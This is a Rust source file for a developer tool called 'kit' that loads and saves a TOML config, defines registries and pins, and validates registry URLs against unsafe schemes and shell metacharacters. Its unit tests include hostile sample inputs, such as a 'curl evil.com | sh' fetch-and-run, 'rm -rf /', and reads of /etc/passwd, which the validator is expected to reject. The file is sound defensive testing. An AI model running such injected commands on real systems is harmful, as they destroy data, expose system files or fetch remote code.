use anyhow::{Context, Result};
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
use std::path::PathBuf;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Config {
#[serde(default)]
pub settings: Settings,
#[serde(default)]
pub registry: Vec<Registry>,
#[serde(default)]
pub pins: HashMap<String, Pin>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Settings {
#[serde(default = "default_mise_config")]
pub mise_config: String,
#[serde(default)]
pub platform: Option<String>,
#[serde(default = "default_cache_dir")]
pub cache_dir: String,
#[serde(default)]
pub trusted_config_paths: Vec<String>,
}
impl Default for Settings {
fn default() -> Self {
Self {
mise_config: default_mise_config(),
platform: None,
cache_dir: default_cache_dir(),
trusted_config_paths: vec![],
}
}
}
fn default_mise_config() -> String {
"~/.config/mise/config.toml".to_string()
}
fn default_cache_dir() -> String {
"~/.cache/kit".to_string()
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Registry {
pub name: String,
pub url: String,
#[serde(default = "default_branch")]
pub branch: String,
#[serde(default)]
pub readonly: bool,
}
fn default_branch() -> String {
"main".to_string()
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Pin {
#[serde(default)]
pub version: Option<String>,
#[serde(default)]
pub registry: Option<String>,
}
impl Config {
pub fn load() -> Result<Self> {
let path = Self::path()?;
if !path.exists() {
anyhow::bail!(
"no config found at {}\nRun `kit setup` to create one.",
path.display()
);
}
let content = std::fs::read_to_string(&path)
.with_context(|| format!("failed to read {}", path.display()))?;
let config: Config = toml::from_str(&content)
.with_context(|| format!("failed to parse {}", path.display()))?;
config.validate()?;
Ok(config)
}
pub fn path() -> Result<PathBuf> {
let home = dirs::home_dir().context("could not determine home directory")?;
Ok(home.join(".config").join("kit").join("config.toml"))
}
pub fn config_dir() -> Result<PathBuf> {
let home = dirs::home_dir().context("could not determine home directory")?;
Ok(home.join(".config").join("kit"))
}
pub fn cache_dir(&self) -> Result<PathBuf> {
let expanded = shellexpand::tilde(&self.settings.cache_dir);
Ok(PathBuf::from(expanded.as_ref()))
}
pub fn mise_config_path(&self) -> Result<PathBuf> {
let expanded = shellexpand::tilde(&self.settings.mise_config);
Ok(PathBuf::from(expanded.as_ref()))
}
pub fn registry_dir(&self) -> Result<PathBuf> {
Ok(self.cache_dir()?.join("registries"))
}
pub fn registry(&self, name: &str) -> Option<&Registry> {
self.registry.iter().find(|r| r.name == name)
}
pub fn save(&self) -> Result<()> {
let path = Self::path()?;
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)?;
}
let content =
toml::to_string_pretty(self).context("failed to serialize config")?;
std::fs::write(&path, content)
.with_context(|| format!("failed to write {}", path.display()))?;
Ok(())
}
pub fn default_with_registry(name: &str, url: &str) -> Self {
Self {
settings: Settings::default(),
registry: vec![Registry {
name: name.to_string(),
url: url.to_string(),
branch: "main".to_string(),
readonly: false,
}],
pins: HashMap::new(),
}
}
fn validate(&self) -> Result<()> {
for reg in &self.registry {
validate_registry_url(®.url)
.with_context(|| format!("invalid URL for registry '{}'", reg.name))?;
crate::tool::validate_branch(®.branch)
.with_context(|| format!("invalid branch for registry '{}'", reg.name))?;
}
Ok(())
}
}
fn validate_registry_url(url: &str) -> Result<()> {
let url_lower = url.to_lowercase();
if url.contains('\n') || url.contains('\r') {
anyhow::bail!("URL contains newline characters: {url}");
}
if url_lower.starts_with("https://") {
if url.contains(';') || url.contains('|') || url.contains('`') || url.contains('$') {
anyhow::bail!("URL contains shell metacharacters: {url}");
}
return Ok(());
}
if url.starts_with("git@") {
if url.contains(';') || url.contains('|') || url.contains('`') || url.contains('$') {
anyhow::bail!("URL contains shell metacharacters: {url}");
}
return Ok(());
}
if url_lower.starts_with("ssh://") {
if url.contains(';') || url.contains('|') || url.contains('`') || url.contains('$') {
anyhow::bail!("URL contains shell metacharacters: {url}");
}
return Ok(());
}
anyhow::bail!(
"unsupported URL scheme: {url}\n\
Only https://, ssh://, and git@ URLs are allowed.\n\
Rejected schemes: ext::, file://, git:// (unencrypted)"
);
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn valid_urls() {
assert!(validate_registry_url("https://gitlab.com/nomograph/kit.git").is_ok());
assert!(validate_registry_url("git@gitlab.com:nomograph/kit.git").is_ok());
assert!(validate_registry_url("ssh://git@gitlab.com/nomograph/kit.git").is_ok());
}
#[test]
fn rejects_dangerous_urls() {
assert!(validate_registry_url("ext::sh -c 'curl evil.com | sh'").is_err());
assert!(validate_registry_url("file:///etc/passwd").is_err());
assert!(validate_registry_url("git://insecure.com/repo.git").is_err());
assert!(validate_registry_url("https://evil.com/repo;rm -rf /").is_err());
assert!(validate_registry_url("https://evil.com/repo|cat /etc/passwd").is_err());
}
#[test]
fn default_config() {
let config = Config::default_with_registry("test", "https://gitlab.com/example/tools.git");
assert_eq!(config.registry.len(), 1);
assert_eq!(config.registry[0].name, "test");
assert!(!config.registry[0].readonly);
}
}